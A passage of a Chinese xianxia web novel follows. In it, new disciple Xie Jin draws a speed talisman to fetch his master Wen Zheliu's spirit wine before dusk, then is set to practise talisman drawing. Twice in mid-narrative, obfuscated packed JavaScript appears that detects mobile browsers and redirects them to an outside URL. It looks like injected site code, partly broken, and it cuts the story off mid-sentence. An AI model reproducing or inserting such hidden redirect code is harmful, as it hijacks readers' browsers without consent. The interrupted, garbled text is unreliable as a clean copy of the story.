他的指尖似乎还带着温泉热气,烫得谢槿浑身一颤,仿佛触电般,感觉有什么遍布全身。 也只是一刹那,闻折柳就收了手,深深看了他一眼,“才感悟灵气?我可没空带你入门。” 谢槿一个激灵回神,迷茫眨眼,心底又有些不安。 师父这是不想带他吗? 闻折柳又看了他一眼,指尖再凝起一道金光,于谢槿光洁的眉心上轻点。谢槿以为还同上回一样,不曾想这次的感觉要比刚才强烈许多,就像瞬间被喷泉直接冲刷脑海! 这个说法是粗糙了一点,可是脑海霎时被灌满,整个脑袋都胀胀的谢槿也只能想到这个。 接下来,他的大脑无意识消化起方才被灌入的东西。 那些……是修炼入门的功法! 这些功法一股脑钻进他身体里,谢槿头昏脑涨,感觉自己仿佛于深海浮沉,四肢百骸开始变得热热的,一股暖流淌过他这两天才刚熟悉的经脉、丹田,便叫他彻底晕了。 亦或者说,是进入了奉剑真人前几日与他说过的入定状态。这种感觉十分玄妙,他的心神化作一个小人,在脑海中演练起那些功法,身体吸收起天地灵气,再引灵气开拓经脉,不知运转了几个周天,将所有功法顺了一遍后,谢槿总算睁开双眼。 于他而言,消化了这些功法似乎过去了很久很久,但他的心思已不在上面,醒过神来的第一时间,他抬手望向周身萦绕的灵气,一双桃花眼越发明亮,唇角含笑。 “我这是……引气入体了?” “不错,只是刚刚引气入体,就直接跨越到练气二层,看来之前奉剑师兄特意指点过你。” 听到这陌生又好听的嗓音,谢槿才反应过来,他那刚认的师父还在,可一抬眼,石凳上哪里还有闻折柳的身影?他转过头再看,这人正屈这一条长腿坐在长廊下,背靠廊柱,修长手指轻轻转动一只白玉瓶。 闻折柳那头长卷发已经干透,却还是没有束起,就这么披散着,衬着一身红袍,艳若流火。 这一眼看去,谢槿还是有些被惊艳到了,师父虽然不是娇弱病美人,可也是俊美非凡。 谢槿赶紧从打坐中起身,拱手拜谢,“多谢师父传徒儿功法。先前奉剑师伯的确赠过徒儿一枚灵丹,又曾亲自助徒儿洗筋伐髓。” 闻折柳点了点玉瓶,“原来如此。” 谢槿一脸温良谦虚,站得笔直,这是他读书多年养成的习惯,别管学没学会,要先会装。 不是假装学会,是摆出自己愿意努力和听话的态度。 夫子总是更喜欢这样的学生的。 但闻折柳显然跟那些夫子不一样,手掌一翻,掌心上多了块红玉玉牌,就朝谢槿扔过去。 “师父!” 谢槿手忙脚乱接过玉牌,狼狈极了,好险没把玉牌摔了。他以前只管读书,没学过武,这也叫他修炼十几年的斯文体面完全破功。 闻折柳眼底才添了几分笑意,拎起玉瓶仰头倒出半口酒水,又晃了晃,也勉强只有几滴了,他干脆将玉瓶也丢给了谢槿。看他还真慌忙接了过去,闻折柳起身打了个哈欠,顺手抓住蹲在栏杆上闭眼小憩的小黄鸟,任小黄鸟怎么扑腾也没有松手。 “没想到要等你半日才能醒来,你可真是够磨蹭的……算了,明日辰时,来这里见我。” 谢槿颇为担忧地看向他手里的小黄鸟,闻言眼睛又亮起来,再顾不上小黄鸟,点头应是。 “徒儿一定准时到!” 明日,师父应该会教他剑法吧? 闻折柳看他脸上藏不住的笑容,总觉得那双桃花眼过分招摇了些,似笑非笑哼了一声,轻轻拂袖,踩着剑光飞出长廊,跃上虚空。 那一袭红衣御剑的身影极其潇洒,谢槿又看呆了。 这就是御剑吗? 虚空中剑影一顿,闻折柳的的声音又响了起来—— “忘了跟你说,你现在才刚引气入体,山上可什么吃的都没有,能吃你的倒是有不少。你需带上那玉牌去山下福德堂领取你的内门弟子份例,否则便饿着肚子等天亮吧。” 谢槿回过神来,想问个究竟。 闻折柳又道:“哦,还有,福德堂每日日落便关门,能不能赶上,就看你自己了。总之我不管,明日一早,我就要喝到冰心玉壶。要是你拿不来,明日就不必来见我了。” 日落关门? 谢槿看向天色。 暮色将近,算算时辰,最多不过半个时辰就要日落。 谢槿被闻折柳这话里话外的无赖之意震惊到了,眼看闻折柳已御剑远去,只剩远远一道红影,他忙追出去问:“冰心玉壶是什么?” “你怀里的酒。” 闻折柳的声音回荡在山间,连人带鸟消失在天边。 谢槿只能睁着眼睛瞪着那空茫茫的天幕,又低头看了一眼怀里早就空了的白玉瓶,才闻酒瓶中透着一股霜雪的味道,依稀还有灵气残留,只一口残留酒气就险些叫他沉醉,谢槿忙晃着脑袋让自己清醒过来。 再拿起闻折柳给的玉牌,正刻着赤月峰的篆体字。 谢槿抱紧玉瓶,深吸一口气,毫不犹豫跑出后院。 若是半个时辰内不能拿到师父要的酒,明天师父就不见他……这可是拜师的第一课啊! 去福德堂的路谢槿不知道,只能先沿着上山的原路折返,可上山容易下山难,他跑得再快,也快不过天边日头往西边落的速度。 这对刚入门的少年而言,根本是不可能完成的任务! 谢槿一口气跑到前殿解剑池,已经累得开始喘气,估算了一下时辰,知道自己两条腿很难及时赶到的,但,也不是完全没有办法。 他放下玉瓶,闭眼翻找起方才 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谢槿手却在抖,额头也出了一层薄汗。画符着实是耗费心神,也掏空了他丹田的灵力。 但看见手中符纸,谢槿只觉得幸运极了,他张口叼住炭笔,轻轻撕下符纸,拍上小腿。 “神行符,疾行千里!” 气沉丹田,符光骤现。 霎时间,谢槿方才还沉重酸软的小腿骤然轻松许多,如乘风踏云,他不再犹豫,抬腿就跑。 少年青衣身影很快消失在红枫林间,快如闪电! 三百余丈高峰,上万个台阶,飞掠过一道残影,惊跑林中鸟兽,而日影,也在慢慢偏斜。 又是一日黄昏。 相似的落日,自从来到揽月宗后,福德堂的弟子林大看过无数遍,他师父林长老也如此。 送走最后一位来领取个人份例的弟子时,日头已有大半落入西山,天色也已然渐渐转暗。 林大抱着扫帚看向落日,一边说:“师父,天要黑了。” 林长老一把将算盘反扣柜台,看都不愿再看一眼了。 “行,关门吧。” 福德堂兼顾分发内门外门的每月份例,但发放时间不同,今日既非内门弟子发月例的时候,也非外门弟子发月例的时候,堂中还算空闲,若不是晌午来了个找茬的家伙…… 想起来,林长老便没好气地闷哼一声,一屁股坐到摇椅上,挑起他的烟杆大口吞云吐雾。 “以后玄月峰那个家伙再来,你就说老头子我不在,叫他要什么东西就去找掌门要去!” 林大搁下扫帚,准备关门,闻言只闷头应声。 “是,弟子记住了。” 林长老怎么想都不解气,又骂道:“内门争端,与我外门何干?而且他们内门九峰不都是师兄弟吗?九峰新立,他们师弟缺了什么短了什么,他们那些师兄师姐也不管?来找我外门要?我上哪里找来给他?” 宗门内门外门几乎是完全不同的运转体系,但外门终究要依附内门核心,这话林长老这个福德堂长老说得,林大却是不敢应答的。 他只管关门。 今夜他还有约,前两天一位师弟找上他,托他匀出一株中品灵药,说是他家师姐急用。 外门弟子不如内门资源丰厚,可外门弟子也不都很差劲,何况那位师姐更是貌美如花。 林大也想结交一番。 他只想着早些关门揣上灵药赴约,师父的骂骂咧咧左耳进右耳出,动作越发麻利迅速。 可就在这时,门缝中冷不丁伸出一只惨白的手,扣住快要合上的门板,吓了林大一跳。 “等……等一等!” 沙哑声音伴着喘气声在门外响起,林大手一哆嗦回过神,堂中的林长老也停下骂骂咧咧。 “来人了?” 惊动了师父,林大只好先开门,就见天地暮色之中,一个青衣少年正扶着腰在门外喘气。 看他脸色发青,喘气时跟拉风箱似的呼哧呼哧,林大都怕他会喘不过气,又有些不情愿地问:“你是哪家弟子?怎么晚了才来?” 再慢一点,他就能收工了。 “抱歉,我跑得太慢了……不过还好,应该赶上了。” 青衣少年抬头看了眼天色,桃花眸子映着西山上最后一缕日光,竟比漫天霞光还绚烂几分。林大也不知自己怎么会看愣了,只见那清秀少年举起手中玉牌,笑容极耀眼。 “福德堂,还有冰心玉壶吗?” 5. 第五章 到福德堂取了内门弟子份例,就无需担忧能不能连夜回山的问题了。谢槿还是新进宗门的内门弟子,内门弟子该有的全套都要给他备上,比如内门弟子衣物灵石灵米丹药配剑之类的,另外还有他的弟子玉牌。 都放在一个储物袋里。 估计是看谢槿喘得厉害,怕他死在福德堂,福德堂弟子清点东西时手脚很是麻利。那位福德堂的管事长老虽然全程黑着脸,可是该给的还是给了,由始至终只问了两句话。 第一句是要什么。 第二句是又要冰心玉壶。 谢槿确定自己没有听错,这管事长老语气怪怨念的。 到底是赶在人家收工的点来的,害得管事长老师徒要加班,谢槿也没好意思多问什么。 内门弟子份例的标配就有几张神行符,还有一瓶辟谷丹和恢复灵气的初级丹药。谢槿在福德堂歇了一阵,走那时天色已经黑了一半,他叹了口气,还是取出神行符用了。 他那张神行符差点没在半路上废了,福德堂发的神行符比他画的要高级许多,也更耐用。 来时的路又走了一遍,回到赤月峰山顶宫殿时,天色彻底黑透。就算有神行符助力,谢槿这一整天也早就累得不行了,在前殿找了一间空房间,也顾不上没有床,端了一盏前殿的灯过来照明,顺手扔了个蒲团到木地板上,将就这样躺下来缓一缓。 忙了一天,他也懒得折腾吃的了,拿储物袋里的辟谷丹往嘴里扔了一粒,据说能管三天。 一粒辟谷丹下肚,饿了一整天的肚子才舒服了些。 谢槿正躺得昏昏欲睡,窗口冷不丁传来笃笃声响。 想起闻折柳走前说过山里有不少能吃掉他的东西,谢槿脑子里那根弦就紧绷起来,屏住呼吸不敢乱动,怕外面真是吃人的妖兽。 可谁知下一刻,窗口就传来稚嫩又清脆的小鸟叫声。 “叽叽!” 谢槿愣了下,长松一口气,又笑起来,爬起来开了窗。窗棂外果然蹲着一只毛茸茸的小黄鸟,在屋里暖黄烛光的映照下,小小一只小黄鸟看去暖融融的,朝他歪了歪头。 谢槿感到会心一击,当下抚慰了疲累的心情,人就得多看点可爱的萌物,才有力气修炼。 “你怎么回来了,师父呢?” 谢槿探头到窗外看了看,没发现闻折柳的身影,才放心朝小黄鸟伸手。小黄鸟跟他还不熟悉,往边上挪了挪,豆豆眼警告地看着他,如此通灵性,叫谢槿越发觉得可爱。 “好吧,我不碰你。” 还是要等熟悉起来,就能跟师父一样一手揣起小黄鸡,到时它就跑不出他的手掌心了。 谢槿心想着,看小黄鸟的眼神充满了动力。小黄鸟隐隐察觉不对劲,又往角落里挪了挪。 谢槿也不强求,他累得很,转身回到蒲团上坐下。 小黄鸟看着他回屋,豆豆眼闪烁着屋中烛光,试探着往窗棂里迈了一步,谢槿也没回头。 于是小黄鸟直接进来了,扑腾小翅膀飞到他面前,看他在翻看储物袋,又冲他叽了一声。 谢槿随手将耗尽灵力的神行符放到边上,从储物袋里找出一个长得像青枣的灵果,放到小黄鸟面前,“福德堂那边也没有吃的,只能去外门饭堂,不过今天天色太晚了,我就懒得去了。我这里只有一些福德堂发的灵果,你要是饿了,吃这个行吗?” 小黄鸟往后挪了半步,看起来好像有些嫌弃,谢槿也能理解,“师父出门还带上你,应该很宠爱你,平日什么高级灵果的,肯定没少吃吧?你不想吃那就算了,改天我再去外门看看有没有糕点给你带上?” 小黄鸟对灵果的确没什么兴趣,往后腾了腾地方,豆豆眼盯了灵果一阵,便用脑袋顶着灵果,往谢槿手边滚去。谢槿觉得他应该看懂了,又笑起来,“是想留给我吃吗?” 小黄鸟叽了一声。 谢槿就当它是答应了,拿起那枚小小的灵果,却也没有吃,直接躺倒下来,摊开四肢。 “我现在只想早点洗澡然后睡觉,要是师父的温泉能借我用一下就好了,一定很舒服。” 小黄鸟蹦跶到他肩头上,叽叽叫了两声,又叼住他的衣服往后拽。难得见它主动靠自己,谢槿当然是一巴掌兜住小黄鸟,赶在小黄鸟要炸毛逃出去之前,他又笑叹一声。 “师父不在,还是算了,我还是直接睡一觉吧。” 小黄鸟在他手掌下乱拱,叽叽叫着。 谢槿趁机摸了一把,手感果然毛茸茸的,小小一团,又软又暖和,怕它真生气很快松手。 “好吧,你去玩吧,我明日一早还要起来见师父,现在也要抓紧时间休息了,若是错过了时辰,说不定师父真的就不愿意见我了。” 他今天才跟师父见面,也没说上几句话,稍微有点幻想破灭,不过也能看出来,他这新师父真的不太像一个靠谱的人,可能不会跟奉剑真人那样好脾气,他可得小心些。 小黄鸟从他掌下逃出来,第一时间飞出去远离他。 谢槿侧头笑笑,就闭上了眼睛,又嫌山上夜里风大,有点冷,双手交叠盖在了小腹上。 小黄鸟等了一阵,他也没起来,就这么躺着不动,手里那枚灵果早就放在它脚边不远。 可没人陪它玩,小黄鸟便顶着灵果滚到谢槿肩头,叽叽叫了两声。谢槿着实累得狠,身边又是喜欢的小萌宠,他一放松下来,闭眼一阵就睡着了,自然没有任何反应。 小黄鸟等了等,又耷拉下脑袋,爪子抓住谢槿的衣袖蹦到他身上,慢慢挪到他脖子上。 闭上那双漂亮的桃花眼后,这张脸黯淡了许多。 小黄鸟静悄悄地往他脸上挪去,还没靠近,就被一道浅金剑气圈住,直接带出了窗外去。 小黄鸟叽叽乱叫起来,仍是落入一只大手之中,翅膀被困住,想扑腾也扑腾不起来,只能用一双豆豆眼瞪闻折柳。闻折柳指腹按住它的鸟喙,浅褐色眼底闪过一缕金光。 “不许叫。” 小黄鸟气得炸毛。 闻折柳也笑了,只是笑容看去显然有些不悦,“一块糕点就收买你了?半夜跑来陪人睡?我平日短你吃的还是喝的了?没见识!” 小黄鸟任他骂,扭着脑袋要挣脱他的手。闻折柳敛去笑容,狠狠揉了一把小黄鸟脑袋。 “走,回去睡觉。” 他转身要走,忽然站定,又回过头,浅褐色眼眸望向屋内。屋中青衣少年早已经熟睡过去,安安静静的模样,看去颇有几分乖巧,倒比白日里那处处礼数周全的模样顺眼。 只不过闻折柳只一眼就将视线移开,落到少年手边不远的两个莹白玉瓶上,一个是空的,一个是少年今夜特意下山去福德堂取的。 闻折柳低声道:“来都来了……” 窗户也是这小子自己开的。 闻折柳将小黄鸟放到肩上,勾唇一笑,伸手进窗。 穿过来十六年,除了无忧无虑的幼儿时期,谢槿已经很久没有睡得这么沉了。这一觉睡得极安稳,安稳到他一睁眼看到窗棂透进来的日光时,吓得一个鲤鱼打挺跳起来。 天亮了?什么时辰了? 谢槿看向窗外,日头已经悬挂在天边,照在山间红枫林上的日光也有些热度。就算已经穿过来十几年,他还是没办法一眼就从天色里推算出时辰,但一看就知道不早了。 应该还在辰时吧? 谢槿想着,赶紧回头收拾东西准备出门,不料回头一看,地上的玉瓶就只剩下一只了。 他有种不妙的预感,抖着手拿起那唯一一只玉瓶。 晃一晃,果然是空的…… 糟了!师父的酒! 谢槿人都慌了,丢开空瓶在屋里四处翻找起来,这里没有,那里也没有,那储物袋呢? 他飞快翻找起储物袋,昨晚从福德堂取来的所有东西一股脑扔出来,很快堆满了屋子。 什么都有,就是没有灵酒。 谢槿腿一软,跪坐在地,开始回想昨晚睡前经历。 昨晚,他开了窗,让小黄鸟进来了……不错,现在小黄鸟也不见了,那枚灵果却还在。 谢槿捡起地上那枚过了一夜依然生机勃勃的灵果,若有所思,可小黄鸟那么小只,它能喝酒吗?就算它能喝,它还能叼走一整瓶? 那瓶灵酒可是不轻啊,少说也有个几十斤的重量。 虽然谢槿也不知道为什么这么沉,不过他断定那么可爱的小黄鸟不可能会趁他睡着偷酒。 那么真相只有一个…… 嫌疑人的名字在谢槿脑海里已经呼之欲出,一道声音冷不丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105384|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在屋外传来,吓了他一跳—— “别找了,换件衣服出来,本座在红叶林等你。” 新师父! 谢槿立马端正坐姿,“是!” 那声音果然没再回应,谢槿猜到什么,心中稍微安定几分,又低头看了眼身上的书生袍子。 片刻后,谢槿推门出去,寻找闻折柳说的红叶林。这座宫殿鸟兽不近,后山是悬崖,前山是上山的路,便是漫山遍野的红枫林。 谢槿找过去时,远远就看见闻折柳在枫树下饮酒,那一身红袍比遍地的红叶还要红几分。 一看到他手里那熟悉的玉瓶,谢槿就确定了嫌疑人。 似乎是察觉到他来了,闻折柳放下玉瓶,朝他看去。新入门的少年换上了崭新衣袍,白底红纹,与他相似的花月缠枝纹,衬得少年一张清秀的脸都明亮了几分,尤其是那双桃花眼,在闻折柳看来越发招摇。 闻折柳不着痕迹拧起眉头,在少年行礼前摆了摆手。 “行了,看来你昨晚睡得不错。” 谢槿还是躬身拜下,礼数做得周全,面上温文有礼,“劳师父忧心,徒儿昨夜休息得很好,不过昨夜下山取来的那瓶冰心玉壶……” 他也不揭穿,但就这么看着闻折柳手里那只玉瓶。 闻折柳手一顿,站直起来。 “拿本座玉牌取的,本座不能喝?” 就知道是你! 谢槿咬咬牙,心头悬着的大石总算落地,也庆幸他这师父没有不讲理不认账,便摇了头。 “徒儿不敢。” 闻折柳正理直气壮,红枫枝头上传来了叽叽的小鸟叫声。谢槿眼睛一下亮起来,发现毛茸茸的小黄鸟就蹲在层层叠叠的红叶间。 看这少年对小黄鸟如此殷勤,闻折柳酒也不喝了,一把捞起小黄鸟放到自己肩上来,轻咳一声,指尖夹起一张略有些焦黑的白纸。 “这是你画的?” 谢槿一眼认出来那是自己昨天用纸笔临时画的那张神行符。他这刚修炼入门的,材料不行、灵力又不够,只勉强够他找到山下的福德堂,用完就废了,比不上福德堂发的那些符,回到山上还能再用几回。 早上起来匆忙,他没留意,看到闻折柳手上的符纸才知道他拿走了,谢槿便也坦然承认。 “徒儿怕赶不及,便试着画了神行符,没想到……” 一次就成功。 他现在还觉得自己是天才! 闻折柳也没错过谢槿眼底暗藏那几分得意,抬手一挥,便将那张废纸扔到了谢槿怀里。 “你这符只能算下品。” 谢槿接住废纸,闻言也没有生气,自顾自折起废纸,收到衣袖里去,谦虚道:“徒儿明白自己才刚入门,修炼的日子还长着呢。” 以前在学堂可没少被夫子点评文章,谢槿都习惯了,要是闻折柳上来就夸他才要怕呢。 闻折柳看他跟面团似的好脾气,不免多看他一眼,又问:“你就不觉得我是在为难你?” 谢槿突然有种被夫子考较功课的既视感,不过没关系,他功课做完了,回答自然有信心。 “师父昨日安排徒儿下山取灵酒,只给了徒儿半个时辰不到的时间,看似为难,但此前师父传过徒儿入门功法,显然是要考验徒儿对那些功法的领悟能力和实践能力。徒儿再蠢,也能明白师父的良苦用心。” 谢槿心道,虽然我才引气入体,一天之前还是个手无缚鸡之力的小书生,师父这题出的确实是超纲了,可师父题库都给我了,任我抄答案,这摆明了就是一场开卷考试! 不过谢槿还是有一点小紧张,“虽说将灵酒取回来了,但徒儿昨日的确有些冲动了,师父传徒儿的那套入门功法中,还有一门名为踏雪寻梅的身法也能提高下山速度,现画的神行符太冒险了,若是没成呢?” 他习惯在睡前复盘,临睡前才想起来那门提速身法,到现在,谢槿也觉得自己太幸运了。 “师父,不知徒儿可有通过考验?” 听完他这一番话,闻折柳那张俊美的脸上是懵的。 “什么?” 谢槿看他这反应,心里咯噔一下。 等等,不会是我想多了吧? 所以师父就是在为难我?根本没有什么良苦用心? 6. 第六章 在谢槿的注视下,闻折柳慢慢背过身拎起玉瓶喝酒。 “勉强通过吧。” 好敷衍的语气! 谢槿昨天怀疑过自己都没怀疑他,没忍住问:“那若是徒儿没能取来灵酒,师父会如何责罚?” 闻折柳的语气很是自然,“当然是让你去外门修炼了。” 谢槿大受打击,向来温和平静的脸上又是悲愤,又很是不可置信,他用一天一夜的经历与跟闻折柳的相处总结出来一个真相—— 新师父果然不想收徒! 闻折柳在他充满谴责的眼神下转回身,不以为意道:“你既然通过考验,那就留下吧,不过你可学不了本座这一脉的火阳剑法啊。” 被勉勉强强留在山上的谢槿有点难过,闻言眼神又多了几分幽怨,他活了两世,在学习这方面成绩不能说极好,但从不是差生,结果到了赤月峰,被新师父这样嫌弃…… 闻折柳被他看得表情不自在,很快又说:“除了火阳剑法之外,我可以教你其他功法。” 谢槿问:“为何火阳剑法不行?” “不是火阳剑法不行,是你不行。”闻折柳毫不客气地纠正道,总算放下了酒瓶,抬指虚点。 隔着数步远,谢槿肩头感到一阵滚烫热度,而后是胸前、手臂、最后到丹田前几处穴位。 “你是水木双灵根,悟性虽然不错,却不适合我这火阳剑法,不只是火阳剑法,揽月宗的三阳剑脉大抵都不适合你修炼,你剑脉太窄,在练剑这一道上是很难有成就的。” 谢槿很快调整好自己的情绪,可还是听得懵懵的。 “灵根?剑脉?” 闻折柳皱起眉头,像有些不耐烦,“师兄没跟你说?” 谢槿如实摇头,“师伯只说我悟性不错,适合修炼。我也好奇想问,但师伯有事先走了。” 来揽月宗这一路上,或许万长老觉得奉剑真人该交代的都交代了,也没跟他说这些事。 闻折柳果然有些烦躁,可已对上谢槿充满求知欲的桃花眼,他只能耐心地解释起来,“灵根就是灵根,天生有之,很难改变,水木灵根不算太差,但剑脉,便是我方才所指……你若是要修炼剑道,这条路能走多远,全看你的剑脉,也是天生的。” 谢槿又问:“那大师兄的天生剑骨也很厉害吗?” “天生剑骨?” 闻折柳挑起眉梢,“大师兄?你是说掌门捡回来那个?那他至少要比你少走数十年弯路。剑脉几乎人人都有,在你们凡间似乎叫武脉。而那剑骨,一般是剑道修士修炼到一定境界才能筑成,你应该不会有了。你剑脉比常人弱,还是奉剑师兄帮你洗筋伐髓后的成果,剑道武道都不适合你。” 谢槿打量双手,神情费解,“那我就不能修炼了吗?” 闻折柳只道:“师兄不是说你悟性不错吗?除剑道外还有不少修行之道,你可以去外门……” 他话还没说完,谢槿又用刚才谴责的眼神盯着他。 那双漂亮的桃花眼颇为幽怨。 闻折柳顿了顿,“你要留在赤月峰也行,也可以修炼剑道,但这条道你多半走不远,你大可做两手准备,先去外门修炼其他道法。” 去外门,未必能有更好的修炼前程,至少修炼资源是跟不上内门的,而留在赤月峰,师父又只是剑修,恐怕其他道法并不精通…… 谢槿有些纠结,看了看自己拿了十几年笔杆的白皙双手,再看闻折柳,重新振作起来。 “我要留在赤月峰。” 他说着朝闻折柳躬身抱拳,神色比昨日拜师是还要虔诚,还要认真,“求师父授我道法!” 新师父虽然是剑修,可毕竟是化神期修士,有大师课,谁会选还不知道什么状况的外门? 管他精不精通,都说师父领进门,修行靠个人! 闻折柳看他的眼神多了几分趣味,“你确定留下?” 谢槿点头,“求师父授我道法!” 徒弟没学好,就意味着师父不行……谢槿看闻折柳的眼神充满了期待。所以师父可一定要行!我能不能修炼成仙就包在你身上了! 闻折柳顿了顿,看他的眼神越发怪异。谢槿向来心思敏锐,见状不免疑心他为何如此。 看起来,好像不太满意? 但闻折柳很快就别开眼,拎起玉瓶灌了两口酒,才颇为高冷地斜睨着谢槿说:“我可只是个剑修,你莫非还想让我教你其他道法?” 谢槿试图用诚恳的眼神感化师父,“师父,你不会吗?” 且不说谢槿心下惴惴,闻折柳闻言差点喷出一口酒水,抿紧唇咽下去,看着谢槿,忽然露齿一笑,脸是好看的,笑容却有些阴森。 “本座不会?本座虽然只是区区化神期剑修,但要带你一个小矮子到元婴期不成问题。” 虽然师父的笑容奇奇怪怪的,可师父的承诺更让人安心,谢槿星星眼仰望着自家师父。 “徒儿也会好好学的!” 还是这样的师父招人喜欢! 闻折柳眸色微变,别开脸拎起酒瓶又饮了一口酒,神色莫名,连肩上的小黄鸟都歪着脑袋凑过去看他的脸,闻折柳索性将小黄鸟揣进掌心里,才又问:“那你想学什么?” 谢槿冷静下来,有些迟疑地问:“什么都可以吗?” 闻折柳反问:“你都想学什么?” 谢槿琢磨了下,“那有没有什么保命的法术?”虽然离剧情开始还远,未必不能改变,但万一有什么意外,他可不想死在大师兄手里。 闻折柳微眯起眼打量着他,山风吹过,落了满林子红叶,有一片飘到他那头长卷发上。 谢槿看见了有些手痒,便听闻折柳说:“保命法术各门道法都有,炼丹的炼器的符术法阵这些外门全都有,你莫非都想学一轮?” 谢槿惊喜地问:“可以吗?” 谁会介意多学一门保命功法? 闻折柳应该是没有见过这么贪心的弟子,欲言又止,又怕他再问出那一句师父不会吗…… 最终,闻折柳只说:“那就先从画符开始。你既然能一次画成,于此道还是有点天赋的。” 谢槿的心情已经不能只用激动二字来形容了,心下思忖,看来方才错怪师父了,师父分明那样通情达理,分明是世间最好的师父! 他忍住搓手的冲动,眼巴巴地问:“那,徒儿需要先做什么?要先打好根基,扎马步吗?” 闻折柳的神色从莫名的稍稍欣慰再到错愕地挑眉,沉默须臾,问:“那你先去外门扎马步,等你什么时候筑基了,再回来画符?” 谢槿当即乖巧垂头,“徒儿错了,那徒儿该做什么?” 他也反应过来,画符跟那些没什么关系,等轮到修炼剑法时,估计才该是炼体的时候。 闻折柳看他老实下来,拂袖斜靠上身后红枫木,才在饮酒的间隙提点一句,“当然是拿朱砂符纸练,今天不画完十张神行符不准走。” 谢槿唯有应是。 十张神行符,好像也不多。 他领了内门弟子份例,现在不缺画符材料,看闻折柳没别的吩咐了,他四下看了眼,便走到林中一块平坦岩石前跪坐下来,取出上好的朱砂、黄表纸,提笔开始画符。 要说学剑,他活了两辈子都没碰过剑,肯定是不顺手的,但拿笔,他可是练了两辈子。 红衣少年提笔落字,红叶林中的风似乎都平和下来,炙热的日光也无端端多了几分凉意。 屈膝坐在树下饮酒逗鸟的闻折柳这才看了谢槿一眼,虽然穿着一身红衣,这少年却是一身书卷气,一举一动仿佛在十多年寒窗苦读中被规训得一丝不苟,可那双眼睛却过分漂亮招摇,绝不是表面那样安分。 闻折柳若有所思饮了口酒,冷不防抓起躺在怀里晒太阳的小黄鸟,吓得小黄鸟惊叫出声。 “叽!” 谢槿刚要描完一张神行符,闻声笔尖一颤,最后一笔歪了,往符纸灌注的灵力也断了。 黄表纸上灵气顿消,这一张符算是废了,谢槿有点心虚,抬眼看去,枫树上却不见闻折柳身影,小黄鸟也不见了。他暗松口气,又有些好奇,师父怎么又不见人影了? 估摸师父应该没发现自己正经画的第一张符废了,谢槿把废纸团吧团吧扔进了储物袋,换上一张新纸,深呼吸静下心,才又提笔。 本以为十张神行符不难,可谁知等谢槿真正用朱砂画符时,废了十来张才画成了一张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105385|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这还废去了一个时辰,谢槿也不知是不够专注还是灵力把握度不够精准,只能继续琢磨。 一整个白日过去,又到了落日时分,谢槿才画成三张神行符,其中一张品相灵气还不如他昨天匆匆拿白纸画的,这可把谢槿给难住了。他又是个不到黄河心不死的性子,总结了浪费许多材料的经验后就接着画,灵力耗光便就地打坐吐纳天地灵气。 闻折柳和小黄鸟一直没有回来,等谢槿画成十张神行符时,天色黑了又亮,他耗尽灵力,又困得厉害,一头扎在石头上睡去了。 梦中似乎传来稚嫩的鸟叫声,谢槿迷迷糊糊地睁开眼,就见到沐浴在清晨日光下的小小毛团子,那小团子踩着一堆符纸,在石头上来回蹦跶,才到了他面前,歪头看他。 谢槿刚想伸手去摸一摸,一只大手先抓走了小黄鸟,不止小黄鸟叫起来,谢槿也吓醒了。 “还在睡?” 这声音? 师父! 谢槿睁大一双桃花眼坐起来,直起腰端正坐姿,抬头看去,挺拔的红袍身影就在眼前。 乍一看,闻折柳还是好看的。 谢槿扶着石头起身行礼。 “师父。” 闻折柳没应声,瞥了眼混在地上枫叶堆里的不少废纸,拧了下眉头,才伸出手拿起石头上一张符纸,谢槿见状眼神多了几分期待。 师父手上那张符纸,是他认为品相最好、灵气最浓的,也不知道能不能让师父评个优良? 可惜闻折柳一开口,还是让他有些失望,“还是下品?不过十张神行符,就画了一天一夜?” 谢槿泄了气,想想自己现在还没恢复灵力,在师长面前又不敢抱怨,只能耷拉脑袋赔礼。 “徒儿资质愚钝,让师父失望了。” 闻折柳瞥他一眼,轻轻抬手,不知哪里吹来一阵暖风,将石头上那十来张灵符都卷了起来,整整齐齐地叠好了,送到他手里来,指尖又一动,谢槿面前便多了一卷玉简。 那玉简灵气浓到在发光,谢槿眼睛一下子睁大开来。 “师父,这是……” 闻折柳看他那风一打就摇摇欲坠的小身板,淡声道:“带回去慢慢练吧,三月之内画出一张中级灵符,做不到就别想跟我学剑法了,早点收拾收拾,到山下外门修炼去。” 三个月?中品灵符? 谢槿再次感到被刁难,接过玉简打开一看,一道金光跃动,不久前被直接传授入门功法的眩晕感再次出现,叫头脑昏沉的谢槿立马警醒,利落地收起玉简,将其卷好。 “可师父,我才刚……” 话还没说完,眼前掠过一道剑光,只剩下红叶林里幽幽飘零的落叶,和山间回荡的声音—— “三月之后,我来验收。” “我才刚引气入体啊……” 谢槿咬牙切齿将后话说完,看着远去的剑影,也只得收回试图挽留的手,抱紧怀中玉简。 昨晚熬出来的黑眼圈还没消,感觉还没学到什么,新的功课就又来了,一张中品灵符…… 做不到,就要下山吗? 谢槿扶着额头叹了口气,拖着沉重的身体回房,先吃了一粒恢复灵气的回灵丹,就地调息,感觉精神好了些,才重新打开玉简,不出意外,一道金光冷不防涌入脑海。 知识再一次冲刷着他的大脑,同样让他几度眩晕。 这玉简乃是一本符道书,亦或者说是百符谱,刻录了近百种符箓的画符之法。其中下品符箓约有四十五、中品符箓约有四十、余下便是上品符箓。当然,以谢槿现在的修为,根本只能学习几种下品符箓。 